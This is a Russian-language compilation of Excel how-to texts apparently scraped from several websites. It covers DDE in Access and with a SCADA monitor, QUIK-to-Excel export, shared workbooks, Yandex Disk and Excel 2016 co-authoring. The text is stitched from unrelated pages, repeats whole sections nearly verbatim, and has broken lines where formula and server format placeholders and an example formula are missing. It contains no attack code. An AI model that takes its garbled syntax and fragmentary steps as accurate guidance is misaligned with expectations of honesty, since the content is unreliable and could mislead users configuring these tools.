Максимальное количество сеансов DDE, которые можно открыть одновременно, определяется памятью и ресурсами компьютера и Microsoft Windows. Если не удается начать сеанс, так как другое приложение не запущено или не распознает указанный документ либо уже достигнуто максимальное количество сеансов, функция DDE возвращает NULL.
Примечание: Другое приложение может быть настроено таким образом, что будет игнорировать запросы на сеанс DDE. В этом случае функция DDE возвращает значение NULL. Кроме того, можно настроить Access таким образом, чтобы он игнорировал запросы от других приложений: в меню Файл выберите команду Параметры Access, в диалоговом окне Параметры приложения выберите пункт Дополнительно. В группе Операции DDE установите флажок Пропуск команд DDE.
Для управления объектами других приложений из Access можно воспользоваться автоматизацией.
В следующей таблице показано, как работает функция DDE при использовании с каждым из элементов управления.
Excel (DDE-клиент) – МРВ (DDE-сервер)
Дата добавления: 2014-10-02 ; просмотров: 2757 ; Нарушение авторских прав
Если клиентом DDE является Excel, то DDE-обмен с МРВ может быть сконфигурирован с помощью: формул Excel; макросов VBA. Формула Excel может быть использована для запроса реального значения канала в режиме ADVISE или REQUEST. Запрос значений всех других атрибутов канала проводится только в режиме REQUEST.
Формат формулы EXCEL: = | !
server – имя сервера в формате RTM , где k – индивидуальный номер узла;
topic – тема запроса (GET – для режима ADVISE, PUT – для режима REQUEST);
item – имя канала или уточненное имя атрибута в формате: . .
=RTM0|GET!Канал1 вызов реального значения канала КАНАЛ1 в режиме ADVISE;
=RTM0|PUT!Канал1.0 вызов реального значения (атрибут № 0) канала КАНАЛ1 в режиме REQUEST;
=RTM|PUT!Канал1.45 вызов значения атрибута «время последнего изменения реального значения» (атрибут № 45) для канала КАНАЛ1 в режиме REQUEST.
вызов реального значения канала КАНАЛ1 в режиме ADVISE в поле MS WINWORD.
Через макросы VBA доступны режимы REQUEST и POKE. Для обмена с помощью макросов VBA используются функции:
Channel := DDEInitiate(App, Topic) – установка диалога по заданным сервису и теме;
DDETerminate(Channel) – прекращение диалога;
Data := DDERequest(Channel, Item) – запрос данных;
DDEPoke(Channel, Item, Data) – передача данных серверу;
DDEExecute(Channel, String) – передача команды другому приложению.
МРВ (DDE-клиент) – Excel (DDE-сервер)
Если монитор выступает в роли DDE-клиента, для конфигурирования обмена используются переменные DDE, которые создаются в группе DDE слоя ИСТОЧНИКИ/ПРИЕМНИКИ навигатора проекта.
Запрос значения в режиме ADVISE.Создадим в узле канал ch1 и свяжем его с переменной DDE с параметрами:
Откроем Excel, создадим новую книгу и запустим узел – установится связь монитора с книгой Excel, активной в данный момент, в режиме ADVISE. В этом режиме DDE-сервер (Excel) будет посылать DDE-клиенту (монитору) значение (при каждом его изменении) ячейки G6 (Row=6, Column=7) листа Sheet1, и это значение будет записано во вход канала ch1.
Запрос значения в режиме REQUEST.Создадим в узле канал ch2 и свяжем его с переменной DDE:
Для запроса в режиме REQUEST тип переменной DDE должен быть INPUT. Для запроса в режиме REQUEST параметру РЕЖИМ переменной DDE можно также задать значение REQ/POKE[data/r] или REQ/POKE[data/n]. Откроем Excel, создадим новую книгу и запустим узел – установится связь монитора с книгой Excel, активной в данный момент, в режиме REQUEST. В этом режиме монитор генерирует в соответствующем потоке запросы на чтение значения ячейки G6 листа Sheet1 и записывает это значение во вход канала ch2.
Задание значения в режиме POKE. Для передачи в указанную ячейку таблицы Excel выходного значения канала (атрибут Q), привязанная к этому каналу переменная DDE должна иметь тип OUTPUT. Создадим в узле канал ch_p и свяжем его с переменной DDE, параметры которой зададим следующим образом:
Для записи значения в Excel параметру MODE переменной DDE можно также задать значение REQ/POKE[data/r] или REQ/POKE[data/n]. Откроем Excel, создадим новую книгу и запустим узел – установится связь монитора с книгой Excel, активной в данный момент, в режиме POKE. В этом режиме монитор генерирует в соответствующем потоке запрос на запись выходного значения (при каждом его изменении) канала ch_p в ячейку G6 листа Sheet1.
Экспорт данных из QUIK в EXCEL в реальном времени
Нередко бывают случаи когда необходимо передавать данные из одной программы в другую. Цели могут быть разные, но чаще всего это используется для более глубокого анализа инструмента.
Для того чтобы экспортировать данные из торговой платформы QUIK в программу EXCEL можно воспользоваться DDE сервером. Данные в торговой платформе Квик представлены в виде таблиц, поэтому и экспорт данных будет осуществляться также из таблиц.
Для начала необходимо создать таблицу, данные из которой необходимо экспортировать. Приведу пример настройки DDE сервера на Таблице Обезличенных Сделок.
Для того чтобы создать Таблицу Обезличенных Сделок, необходимо в меню выбрать пункт Создать Окно и выбрать пункт Таблица Обезличенных Сделок.
Открыть Таблицу Обезличенных Сделок Квик
Откроется новое окно в котором необходимо настроить будущую Таблицу Обезличенных Сделок. Можно выбрать инструменты которые попадут в таблицу, а также настроить необходимые столбцы в таблице.
Создать Таблицу Обезличенных Сделок Квик
Перед тем как приступить к настройке DDE сервера, необходимо создать файл EXCEL, в который будет происходить экспорт данных. Создание файла EXCEL не должно вызвать трудностей, так что описывать не буду.
Теперь, когда файл EXCEL создан, необходимо настроить DDE сервер. В любом месте созданной Таблицы Обезличенных Сделок кликнуть правой кнопкой мыши и в меню выбрать пункт Вывод Через DDE Сервер, либо нажать сочетание клавиш CTRL+L.
Открыть Настройки DDE сервера Квик
Откроется окно по настройке экспорта данных через DDE сервер.
Настройка DDE сервера Квик
Поле DDE сервер оставить без изменения — excel.
Рабочая книга — выбрать файл excel в который будет осуществляться экспорт данных.
Поле Лист — название листа в файле excel на который попадут экспортированные данные. Если указанного листа в файле не существует, то он будет создан.
Также установите галочку напротив пункта Запускать Приложение DDE сервера автоматически.
Остальные параметры не являются обязательными и настраиваются по собственному усмотрению.
Для того чтобы данные стали поступать в программе excel необходимо нажать кнопку Начать Вывод, после этого окно можно закрыть.
Таким же образом можно экспортировать данные из других таблиц Квик в этот же файл excel, но уже на другие листы.
После того как данные в excel экспортированы, их можно обрабатывать для получения нужных параметров, для этого можно воспользоваться формулами встроенными в программу excel, а также в программе excel имеется язык программирования visual basic, на котором можно написать алгоритм по обработке полученных данных. Это уже никаким образом не касается языка программирования lua, а значит выходит за рамки данного сайта.
На этом настройка экспорта данных из программы quik в excel завершена, теперь вы в реальном времени можете получать и обрабатывать данные необходимым вам образом в программе excel.
Содержание
- Как сделать общий доступ к файлу excel другим пользователям
- Использование
- Ограничения
- Облачные хранилища
- Excel Online. Настройка общего доступа к excel-таблицам
- Совместный доступ к файлу Excel одновременно
- Особенности работы с общим файлом
- Как сделать совместный доступ к файлу Excel?
- Как отключить режим совместного доступа в Excel
Как сделать общий доступ к файлу excel другим пользователям
При работе над совместным проектом возникает необходимость одновременного внесения данных в документ. Это позволяет оперативно записывать значения по ячейкам и наполнять информацией исходный файл. Microsoft Office Excel имеет в своем арсенале специальную функцию для таких случаев и сегодня разберемся, как обеспечить общий доступ к файлу excel другим пользователям.
Использование
Для редактирования рабочей книги excel группой людей необходимо поместить документ в отдельной папке, к которой имеют доступ все пользователи. Обычно это делается по локальной сети в рамках одного офиса, компании или предприятия. Затем необходимо дать разрешение через редактор. Чтобы сделать общий доступ к файлу excel, необходимо сделать следующее:
- На Панели инструментов переходите во вкладку Рецензирование и нажимаете кнопку Доступ к книге в блоке Изменения.
- Открывается диалоговое окно, в котором отображается список людей использующих документ. Ставите галочку напротив разрешения изменять файл и нажимаете ОК.
- Во вкладке Подробнее можно настроить сроки хранения журнала изменений, периодичность обновления файла, а также приоритетность изменений.
Если файл только создан, то программа предложит сохранить документ. Обязательно сохраняйте в сетевой папке, чтобы не было проблем с доступом у других людей.
После этого в названии рабочей книги должно появиться слово Общий, что свидетельствует о возможности совместной работы.
Чтобы посмотреть список изменений, необходимо выделить исправления при помощи отдельной функции.
В открывшемся окне настраиваете параметры отображения изменений.
После нажатия кнопки ОК все исправления будут вынесены на отдельный лист с пометками кем и когда внесено дополнение. Это называется журналом изменений, который можно сохранить отдельно на компьютере или распечатать.
Ограничения
К сожалению, при работе нескольких человек в одной книге, существует ряд ограничений для редактирования и форматирования информации:
- Нельзя вставлять диаграммы, рисунки, сводные таблицы и прочие объекты.
- Запрещено редактирование макросов.
- Группировка данных по столбцам и строкам ограничена.
- Нельзя изменять формулы исходного файла.
- Удаление листов книги также запрещено.
Если необходимо выполнить одну из подобных операций, необходимо попросить администратора отключить общий доступ, провести редактирование и снова включить режим совместной работы.
Бывает, что при открытии книги excel программа выдает ошибку «Файл заблокирован». Причиной этому могут служить следующие проблемы:
- Большая нагрузка на локальную сеть
- Два разных пользователя добавляют информацию в одну и ту же ячейку – возникает программный конфликт.
- Перегружена оперативная память из-за большого размера документа и компьютер не может справиться с нагрузкой.
- Пользователь был удален из списка в одностороннем порядке.
Чтобы убрать общий доступ, достаточно убрать галочку напротив разрешения изменять файл через настройки совместной работы. При этом в списке пользователей должен остаться один человек – администратор.
Облачные хранилища
Также совместно можно редактировать документы и через интернет. Для этого администратор должен сохранить документ в облаке и предоставить ссылку. Рассмотрим примеры обеспечения общего доступа на самых популярных облачных хранилищах:
- На яндекс диске щелкаете по загруженному файлу и в верхней части нажимаете Поделиться.
После этого выпадет список возможной рассылки через социальные сети и отдельная ссылка для копирования. При этом на значок документа добавляется специальный символ в виде звеньев цепи, который свидетельствует об общем доступе.
- На гугл диске нажимаете по документу правой клавишей мыши и из выпадающего списка выбираете строку Открыть доступ.
В появившемся окне можно скопировать ссылку, а также ввести имена контактов или адреса электронной почты для предоставления доступа к файлу. В конце обязательно нажимаете кнопку Готово.
Как видите, обеспечить совместную работу над одним файлом в excel не трудно. Механизм предоставления прав для версий 2007, 2010, 2013 и 2016 годов одинаковый. Помимо этого существует возможность редактирования документов через облачные хранилища, что позволяет изменять документ из любой точки мира по средствам сети интернет.
Жми «Нравится» и получай только лучшие посты в Facebook ↓
Excel Online. Настройка общего доступа к excel-таблицам
На работе поставили задачу организовать общий доступ к таблицам Excel для одновременного редактирования несколькими сотрудниками предприятия, возможность оперативно посмотреть информацию если это потребуется, а так же внести поправки и другую важную информацию.К слову не все сотрудники сидят в одном здании, а на разных объектах и площадках, которым необходимо видеть информацию занесенную коллегами. В связи с этим было рассмотрено несколько вариантов для реализации доступа:
Microsoft Excel
Непосредственно штатным Excel который установлен у всех,но есть некоторые нюансы:
— Файл должен находится в одной сети (у нас все пользователи раскиданы по разным объектам)
— Некоторые задачи становятся недоступны (создавать таблицы Excel;создавать, менять или просматривать сценарии; удалять листы; объединять либо разделять ячейки.)
— Частая «блокировка» файла
— Не видно кто что делает, т.е. информация будет доступна только после сохранения файла. Один не приятный момент при работе с файлом — если вы записываете информацию в одну и ту же ячейку, при сохранении файла работает правило «кто последний тот и папа»)))))
Реализация делается следующим образом, заходим в «Рецензирование» и щелкаем по значку «Доступ к книге».
После этих действий файл станет общим и даёт пользователям одновременное редактирование. В названии файла появится приписка [Общий]
При нажатии кнопки «Доступ к книге» может возникать ошибка:
Достаточно сделать по шагам что написано в диалоговом окне ошибки и она пропадёт!
И так что же мы увидим когда нажмем кнопку «Доступ к книге»?!
А увидим список пользователей которые работают в данный момент и не забудем так же поставить галочку «Разрешить изменять файл нескольким пользователям одновременно»
Excel настроен для работы с общими документами
OneDrive
Стандартное облачное хранилище семейства Windows 8.08.110. Отказались сразу из-за:
- отличие операционных систем (большинство пользователей работают на windows 7)
- каждому пользователю необходимо было бы регистрировать учетную запись Microsoft
- различные версии Microsoft Office которые могут при неправильном использовании конфликтовать
- сложный механизм аутентификации для понимания конечного пользователя.
Google Docs (Гугл документы)
В Google многие моменты схожи с OneDrive, но еще есть и некоторые «подводные камни» которые усложняют настройку общего доступа, а именно:
- для каждого пользователя необходимо устанавливать расширение Chrome «Редактирование файлов Office»
- создание google аккаунта
Google первая компания которая запустила office online из которого можно выделить online excel который позволяет работать в реальном режиме большому кол-ву пользователей многие компании уже давно работают в нем и в этом есть ряд преимуществ:
- разграничение прав доступа на документ, страницу, столбцы
- использование сложных формул и своих доработок
И мы склонялись конечно к легкому варианту (Google), но использования на работе яндекс сервисы как часть нашей внутренней инфраструктуры решили пойти по сложному пути и использовать то что предлагает яндекс.
У нас вся почта завязана на Яндекс.Коннект, у всех есть корпоративная почта, стоит Яндекс.Диск, всё между собой синхронизируется, нет необходимости быть в одной сети (достаточно иметь доступ к интернету), бэкапы можно сделать на раз два (просто сохранить файл на диск).
Настройка и получение общего доступа с помощью Excel Online через Яндекс
Изначально в яндекс диске создаем папку в какой будет лежать файлы для общего доступа и одновременной работы
и настраиваем доступ к этой папке путем ввода логина яндекс почты и ставим права на просмотр или полные права
после того как вы человека добавили к документу ему на почту придёт письмо с принятием приглашения :
Нажимаем «Принять соглашение» и попадаем в веб-интерфейс Яндекс.Диска, в ту самую папку которую создал сисадмин , щелкаем два раза по папке и внутри папки Excel’ский файл
Далее просто нажимаем на файл, вверху появится черная полоска с функциями ,что можно сделать с данным файлом. Нас интересует функция «Редактировать» (в зависимости от прав доступа, та или иная функция может отсутствовать)
При нажатии данной функции попадаем в тело документа и можно начинать работать как в привычном Excel’е. Сохранение файла происходит автоматически и достаточно просто закрыть вкладку с названием таблицы.
Общий доступ настроен, все пользователи видят и могут редактировать Excel-таблицы!
Всем пока и хорошего дня!
Заметка от nibbl — первые проблемы при работе с Yandex Excel:
- разграничение прав доступа очень «топорные» они даются только на папку, а не на документ (надеюсь в скором времени они это поправят потому как ОЧЕНЬ не удобно)
- заметные тормоза при работе (хотя чему тут удивлять они используют пакет Microsoft
)
- пока не хочу переходить на Гугл но если люди будут возмущаться то придется перейти. (камень в огород Яндекса, сырые продукты выпускают на рынок, один ямб чего стоит( ладно ждем и надеемся что все будет хорошо.)
Совместный доступ к файлу Excel одновременно
Совместный доступ в Microsoft Excel дает возможность работать с одним файлом сразу нескольким пользователям. Десять-двадцать человек на разных компьютерах одновременно вносят какие-то данные в один документ. Где находится определенная информация, работают определенные формулы.
«Главный пользователь» имеет возможность отслеживать действия рабочей группы, добавлять/удалять участников, редактировать противоречивые изменения. Как настроить совместную работу в Excel.
Особенности работы с общим файлом
В книге Excel со совместным доступом не все задачи можно выполнять.
- Создавать таблицы Excel.
- Создавать, менять или просматривать сценарии.
- Удалять листы.
- Объединять либо разделять ячейки.
- Работать с XML-данными (импортировать, добавлять, обновлять, удалять и т.д.).
Выход: отключить общий доступ – выполнить запрещенную задачу – снова включить доступ.
Совместное пользование ограничивает для участников еще ряд задач:
Как сделать совместный доступ к файлу Excel?
Сначала определяемся, какую книгу мы «откроем» для редактирования сразу несколькими участниками. Создаем новый файл и наполняем его информацией. Либо открываем существующий.
- Переходим на вкладку «Рецензирование». Диалоговое окно «Доступ к книге».
- Управление доступом к файлу – правка. Ставим галочку напротив «Разрешить изменять файл нескольким пользователям одновременно».
- Переходим к инструменту «Подробнее», чтобы настроить параметры многопользовательского редактирования.
- Нажимаем ОК. Если мы открываем общий доступ к новой книге, то выбираем ей название. Если совместное пользование предполагается для существующего файла – жмем ОК.
- Открываем меню Microsoft Office. Выбираем команду «Сохранить как». Выбираем тот формат файла сохранения, который «пойдет» на всех пользовательских компьютерах.
- Местом сохранения выбираем сетевой ресурс / сетевую папку, которую откроют предполагаемые участники. Нажимаем «Сохранить».
Внимание! Нельзя использовать для сохранения общего файла веб-сервер.
Теперь проверим и обновим ссылки:
- Вкладка «Данные». «Подключения».
- Изменить ссылки / изменить связи. Если такая кнопка отсутствует, в листе нет связанных файлов.
- Переходим на вкладку «Состояние», чтобы проверить имеющиеся связи. На работоспособность связей указывает кнопка ОК.
Открытие книги с совместным доступом
- Открываем меню Microsoft Office.
- Нажимаем «Открыть».
- Выбираем общую книгу.
- Когда книга открыта, нажимаем на кнопку Microsoft Office. Переходим на вкладку «Параметры Excel» (в нижней части меню).
- «Общие» — «Личная настройка» — «Имя пользователя». Вводим опознавательную информацию (имя, ник-нейм).
Все. Можно редактировать информацию, вводить новую. После работы – сохранить.
Случается, что при открытии книги Excel с совместным доступом к файлу появляется запись «Файл заблокирован». Сохранить не получается. При последующем открытии оказывается, что общий доступ отключен. Возможные причины проблемы:
- Одну и ту же часть документа редактируют несколько пользователей. К примеру, вбивают разные данные в одну ячейку. Возникает блокировка.
- Во время пользования совместным файлом ведется журнал изменений (кто входил, когда, что делал). Книга увеличивается. Начинает «глючить».
- Удалили кого-то из пользователей, но пока ему не сказали об этом. Тогда блокировка может появиться только на его компьютере.
- Большая нагрузка на сетевой ресурс.
Что можно сделать, если совместный доступ к файлу файл заблокирован:
- Почистить либо удалить журнал изменений.
- Почистить содержимое файла.
- Отменить, а потом снова активировать совместный доступ.
- Открыть книгу xls в OpenOffice. И снова сохранить ее в xls.
Замечено, что запись «Файл заблокирован» реже появляется в новейших версиях Excel.
Как удалить пользователя
- На вкладке «Рецензирование» открываем меню «Доступ к книге».
- В разделе «Правка» мы видим перечень пользователей.
- Выбираем имя – нажимаем «Удалить».
Перед удалением проверьте, что пользователи закончили работу с файлом.
Как отключить режим совместного доступа в Excel
Все пользователи должны сохранить информацию и закрыть общий файл. Если необходимо оставить журнал, соблюдаем инструкцию:
- Вкладка «Рецензирование» — «Исправления» — «Выделить исправления».
- Устанавливаем параметры «Исправлений». По времени – «все». Галочки напротив «Пользователем» и «В диапазоне» сняты. Напротив «вносить изменения на отдельный лист» — стоит. Жмем ОК.
- Откроется Журнал изменений. Его можно сохранить либо распечатать.
Чтобы отключить совместный доступ к файлу Excel, на вкладке «Рецензирование» нажать «Доступ к книге» и снять галочку напротив «Разрешить изменять файл нескольким пользователям».
В списке должен остаться один пользователь – Вы.
Содержание
- 1 Особенности работы с общим файлом
- 2 Как сделать совместный доступ к файлу Excel?
- 2.1 Открытие книги с совместным доступом
- 2.2 Как удалить пользователя
- 3 Как отключить режим совместного доступа в Excel
- 4 Как сделать общий доступ к файлу Excel
- 4.1 Поделитесть полезным с друзьями:
- 4.1.1 Как создать общий доступ Excel?
- 4.1.2 История общего доступа или «я в эту ячейку ничего не вносил»
- 4.1.3 Что нужно знать еще о совместном доступе к файлу? Управление доступом к файлу
- 4.1.4 Что нельзя делать, если файл находится в общем доступе?
- 4.2 Общий доступ в старых версиях Excel
- 4.3 Совместное редактирование в Excel 2016
- 4.4 Автосохранение: плюсы и минусы
- 4.5 Как отключить Автосохранение в Excel
- 4.6 Ссылки по теме
- 4.1 Поделитесть полезным с друзьями:
Совместный доступ в Microsoft Excel дает возможность работать с одним файлом сразу нескольким пользователям. Десять-двадцать человек на разных компьютерах одновременно вносят какие-то данные в один документ. Где находится определенная информация, работают определенные формулы.
«Главный пользователь» имеет возможность отслеживать действия рабочей группы, добавлять/удалять участников, редактировать противоречивые изменения. Как настроить совместную работу в Excel.
Особенности работы с общим файлом
В книге Excel со совместным доступом не все задачи можно выполнять.
Нельзя:
- Создавать таблицы Excel.
- Создавать, менять или просматривать сценарии.
- Удалять листы.
- Объединять либо разделять ячейки.
- Работать с XML-данными (импортировать, добавлять, обновлять, удалять и т.д.).
Выход: отключить общий доступ – выполнить запрещенную задачу – снова включить доступ.
Совместное пользование ограничивает для участников еще ряд задач:
Недопустимо | Реально |
Вставлять либо удалять группу ячеек | Добавлять строку или столбец |
Добавлять либо изменять условные форматы | Работать с существующими форматами |
Включать или изменять инструмент «Проверка данных» | Работать с существующими настройками проверки |
Создавать или редактировать диаграммы, сводные отчеты | Работать с имеющимися диаграммами и сводными таблицами |
Вставлять или редактировать рисунки и графические объекты | Просматривать имеющиеся рисунки и графические объекты |
Вставлять или менять гиперссылки | Переходить по имеющимся гиперссылкам |
Назначать, редактировать либо удалять пароли | Существующие пароли функционируют |
Ставить либо снимать защиту листов и книг | Существующая защита работает |
Группировать, структурировать данные; вставлять подуровни | Работать с имеющимися группами, структурами и подуровнями |
Записывать, изменять или просматривать макросы | Запускать имеющиеся макросы, которые не связаны с недоступными задачами |
Изменять или удалять формулы массива | Пользоваться существующими формулами |
Добавлять в форму данных новую информацию | Искать информацию в форме данных |
Сначала определяемся, какую книгу мы «откроем» для редактирования сразу несколькими участниками. Создаем новый файл и наполняем его информацией. Либо открываем существующий.
- Переходим на вкладку «Рецензирование». Диалоговое окно «Доступ к книге».
- Управление доступом к файлу – правка. Ставим галочку напротив «Разрешить изменять файл нескольким пользователям одновременно».
- Переходим к инструменту «Подробнее», чтобы настроить параметры многопользовательского редактирования.
- Нажимаем ОК. Если мы открываем общий доступ к новой книге, то выбираем ей название. Если совместное пользование предполагается для существующего файла – жмем ОК.
- Открываем меню Microsoft Office. Выбираем команду «Сохранить как». Выбираем тот формат файла сохранения, который «пойдет» на всех пользовательских компьютерах.
- Местом сохранения выбираем сетевой ресурс / сетевую папку, которую откроют предполагаемые участники. Нажимаем «Сохранить».
Внимание! Нельзя использовать для сохранения общего файла веб-сервер.
Теперь проверим и обновим ссылки:
- Вкладка «Данные». «Подключения».
- Изменить ссылки / изменить связи. Если такая кнопка отсутствует, в листе нет связанных файлов.
- Переходим на вкладку «Состояние», чтобы проверить имеющиеся связи. На работоспособность связей указывает кнопка ОК.
Открытие книги с совместным доступом
- Открываем меню Microsoft Office.
- Нажимаем «Открыть».
- Выбираем общую книгу.
- Когда книга открыта, нажимаем на кнопку Microsoft Office. Переходим на вкладку «Параметры Excel» (в нижней части меню).
- «Общие» — «Личная настройка» — «Имя пользователя». Вводим опознавательную информацию (имя, ник-нейм).
Все. Можно редактировать информацию, вводить новую. После работы – сохранить.
Случается, что при открытии книги Excel с совместным доступом к файлу появляется запись «Файл заблокирован». Сохранить не получается. При последующем открытии оказывается, что общий доступ отключен. Возможные причины проблемы:
- Одну и ту же часть документа редактируют несколько пользователей. К примеру, вбивают разные данные в одну ячейку. Возникает блокировка.
- Во время пользования совместным файлом ведется журнал изменений (кто входил, когда, что делал). Книга увеличивается. Начинает «глючить».
- Удалили кого-то из пользователей, но пока ему не сказали об этом. Тогда блокировка может появиться только на его компьютере.
- Большая нагрузка на сетевой ресурс.
Что можно сделать, если совместный доступ к файлу файл заблокирован:
- Почистить либо удалить журнал изменений.
- Почистить содержимое файла.
- Отменить, а потом снова активировать совместный доступ.
- Открыть книгу xls в OpenOffice. И снова сохранить ее в xls.
Замечено, что запись «Файл заблокирован» реже появляется в новейших версиях Excel.
Как удалить пользователя
- На вкладке «Рецензирование» открываем меню «Доступ к книге».
- В разделе «Правка» мы видим перечень пользователей.
- Выбираем имя – нажимаем «Удалить».
Перед удалением проверьте, что пользователи закончили работу с файлом.
Как отключить режим совместного доступа в Excel
Все пользователи должны сохранить информацию и закрыть общий файл. Если необходимо оставить журнал, соблюдаем инструкцию:
- Вкладка «Рецензирование» — «Исправления» — «Выделить исправления».
- Устанавливаем параметры «Исправлений». По времени – «все». Галочки напротив «Пользователем» и «В диапазоне» сняты. Напротив «вносить изменения на отдельный лист» — стоит. Жмем ОК.
- Откроется Журнал изменений. Его можно сохранить либо .
Чтобы отключить совместный доступ к файлу Excel, на вкладке «Рецензирование» нажать «Доступ к книге» и снять галочку напротив «Разрешить изменять файл нескольким пользователям».
В списке должен остаться один пользователь – Вы.
Как сделать общий доступ к файлу Excel
В корпоративных сетях, как крупных, так и не очень, часто любят выкладывать документы на файловый сервер в общий доступ для нескольких пользователей и редактировать их удалённо, прямо на сетевом диске, не скачивая себе на компьютер. С электронными таблицами не всё так просто — по умолчанию общий доступ к файлу Excel отключен в параметрах документа, а значит можно будет открыть только одну его копию для одного пользователя. Чтобы включить совместный доступ в Экселе, надо в главном меню открыть раздел «Рецензирование» и найти группу «Изменения»:
В ней надо найти и нажать кнопку «Доступ к книге». Появится окно управления общим доступом к файлу Excel:
Здесь надо поставить галочку «Разрешить изменять файл нескольким пользователям одновременно», после чего — нажать на кнопку «ОК».
Теперь при сохранении этого документа в названии будет отметка «», что означает что включен совместный общий доступ для файла Эксель.
Примечание: Обратите внимание на поле «Файл открыт следующими пользователями. В нём отображаются все, кто вносил изменения в этой книге. Чтобы посмотреть что было изменено конкретным пользователем, то нужно на вкладке «Рецензирование» нажать на кнопку «Исправления» и в меню выбрать пункт «Выделить исправления». Появится такое окно:
Здесь можно выбрать подходящий вариант отслеживания изменений — по времени, конкретным пользователем или в заданных ячейках. По умолчанию, они будут выделены на экране. При необходимости можно будет вынести изменения в отдельный файл.
Поделитесть полезным с друзьями:
Давно хотел написать о полезной и зачастую малоизвестной функции — общий доступ Excel. Эта возможность позволяет сразу нескольким пользователям одновременно работать в файле. При этом хранится история операций со всеми ячейками от пользователей, при параллельном внесение данных изменения показываются при сохранении. В общем, уверен вам пригодится такая функция, единственное что необходимо — общая сетевая папка.
Уверен, многие сталкивались с надписью «Файл заблокирован другим пользователем», если в рабочем документе (размещенном в сетевой папке) уже работает другой пользователь. Если вам необходимо вносить данные в один и тот же файл единовременно, лучше настроить общий доступ к файлу. Мой опыт показывает, что люди могут работать в одном файле параллельно месяцами. Количество вносимых данных бывает довольно большое, поэтому разграничьте кто, куда и что заносит. Если все делать правильно, общий файл работает стабильно.
Как создать общий доступ Excel?
Общий доступ существовал еще в легендарном Excel 2003. В современных версиях, работать совместно стало надежнее, а включить общий доступ все так же просто. Сперва разместите файл в сетевой папке, доступ к которой есть у нужных пользователей. Затем пройдите на панели инструментов во вкладку Рецензирование — раздел Изменения.
Откроется окно Управление доступом к файлу. Ставьте галочку «Разрешить изменять файл нескольким пользователям…». В этом же окне вы сможете увидеть, кто сейчас работает в файле (сейчас User). Жмете ОК. Все, общий доступ дан и теперь в файле может работать сразу несколько человек. Удобно.
История общего доступа или «я в эту ячейку ничего не вносил»
Кто работал с базой данных, хоть один раз, ловил себя на мысли «вроде эти изменения я уже вносил, а их тут нет». После таких сомнений начинается работа с ИТ службой, почему пропала информация из базы. Чтобы избежать кровопролитных споров, в крупных учетных программах есть т.н. «История изменений» или «Журнал регистрации», где видны действия, совершенные пользователями. Общий доступ Excel не исключение — вы можете как показать историю внесенных изменений как внутри файла, так и вывести их в отдельную таблицу.
Чтобы получить изменения, нажмите на кнопку Исправления — Выделить исправления
В появившимся окне настройте что и как выводить
Если оставите все галочки как показано на картинке выше, то изменения созданные со времени последнего сохранения выделяться прямо в таблице примерно вот так:
Если отметите такие галочки:
То программа выведет изменения на отдельный лист. Довольно удобно, если нужно переслать эту информацию.
Так же выбирете нужного пользователя или диапазон в котором необходимо искать изменения
Мой совет. Не выделяйте сразу обе галочки Выделять исправления на экране и вносить изменения на отдельный лист. Все равно, изменения будут показаны на отдельном листе. А если данных много, может вызвать зависание программы.
Есть возможность настроить, и даже отключить эту функцию — смотрите ниже.
Чтобы удалить историю изменений, отключите и включите заново совместный доступ.
Что нужно знать еще о совместном доступе к файлу? Управление доступом к файлу
В окне Управление доступом к файлу, есть вкладка Подробнее, где найдется много интересного.
Разберем содержание окна поподробнее:
Первый пункт — это Регистрация изменений — регулирует хранение изменений, что мы разбирали в предыдущем разделе. Можно отключить хранение изменений в журнале или настроить количество дней сохранения.
Далее Обновлять изменения. Как вы заметили, если сохраните файл, то будет показано, какие изменения внесли соредакторы файла. Есть возможность увеличить частоту. Даже сделать обновления почти он-лайн, каждые 5 минут (минимальный показатель).
Часто задаваемый вопрос — «Какие изменения занесутся, мои или соседа по файлу?». В настройках существует пункт Для противоречивых изменений — у вас спрашивают, чьи изменения оставить. Если выберите «Запрашивать…», то перед сохранением будет вопрос «Чьи изменения оставить», для второго пункта останутся те изменения, которые сделаны ранее.
Ну и последний, но не менее важный пункт — Включить в личное представление. Личное представление — настройки, которые пользователь создает под себя в общем файле. Если вы владелец процесса и не хотите, чтобы кто-то изменял параметры печати (вы их настроили заранее) или добавлял дополнительные фильтры — снимите эти галочки.
Что нельзя делать, если файл находится в общем доступе?
Да, существуют еще ограничения при работе с общим доступом. В первую очередь неудобно отсутствие условного форматирования и то что нельзя вставлять диаграмму или сводную таблицу.
Общий доступ Excel предназначен в первую очередь для занесения данных, поэтому мы должны относиться к недостаткам возможности с пониманием.
Так же нельзя делать:
- Управление и изменение макросов
- Добавлять рисунки и другие объекты
- Группировать или скрывать столбца или строки
- Делать объединение ячеек (не придется потом снимать объединение:) )
- Пользоваться инструментом «Проверка данных», например создавать выпадающий список.
- Делать защиту листа
- Невозможна работа с формулами массива
В одном разделе с общим доступом, расположено еще много кнопочек, подробнее о них рассказывается в статье: Как защитить Excel от редактирования?
Поделитесь нашей статьей в ваших соцсетях:
(Visited 10 531 times, 1 visits today)
Сравнительно недавно (после весенне-летних обновлений 2017 года) многие пользователи Office 2016 заметили появление в левом верхнем углу экрана на панели быстрого доступа нового значка необычного вида:
Это переключатель Автосохранения — побочный эффект от нового режима совместного редактирования, недавно появившегося в последней версии Microsoft Excel 2016. Давайте разберемся в этом поподробнее, ибо у любой медали, как обычно, две стороны и плюсы намешаны с минусами весьма причудливо.
Общий доступ в старых версиях Excel
Формально, одновременное редактирование одного файла сразу несколькими пользователями существовало в Excel еще с 1997 года. Книгу нужно было положить в общую сетевую папку, а затем выбрать в меню или на вкладке Рецензирование команду Общий доступ (Review — Share Workbook) и включить единственную галочку в открывшемся окне:
В реальности практически никто этой функцией не пользовался, т.к. реализована она была откровенно слабо:
- Уже при 3-4 одновременных подключениях к файлу Excel начинал нещадно глючить, вылетать с ошибками, терять связь с исходным файлом (и всю вашу работу за последние N минут) и т.д.
- При одновременном изменении одних и тех же ячеек разными пользователями должно было отображаться окно разрешения конфликтов, но, по факту, это случалось далеко не всегда.
- Изменения, внесенные другими пользователями, становились видны только после того, как эти пользователи сохраняли файл, т.е. никакого realtime editing не было даже близко.
- В таком режиме совместного редактирования очень много ценных функций и инструментов Excel становились недоступны. Например, нельзя было воспользоваться фильтром или сортировкой, построить сводную таблицу или диаграмму, раскрасить ячейки условным форматированием и т.д.
В общем и целом, эта штука была в Excel больше «для галочки» и реальной пользы не приносила.
Совместное редактирование в Excel 2016
С недавними обновлениями в Excel 2016 картина поменялась. Теперь для одновременной работы вы должны сохранить файл в облачное хранилище (OneDrive или SharePoint) и пригласить других пользователей с помощью кнопки Поделиться (Share) в правом верхнем углу окна:
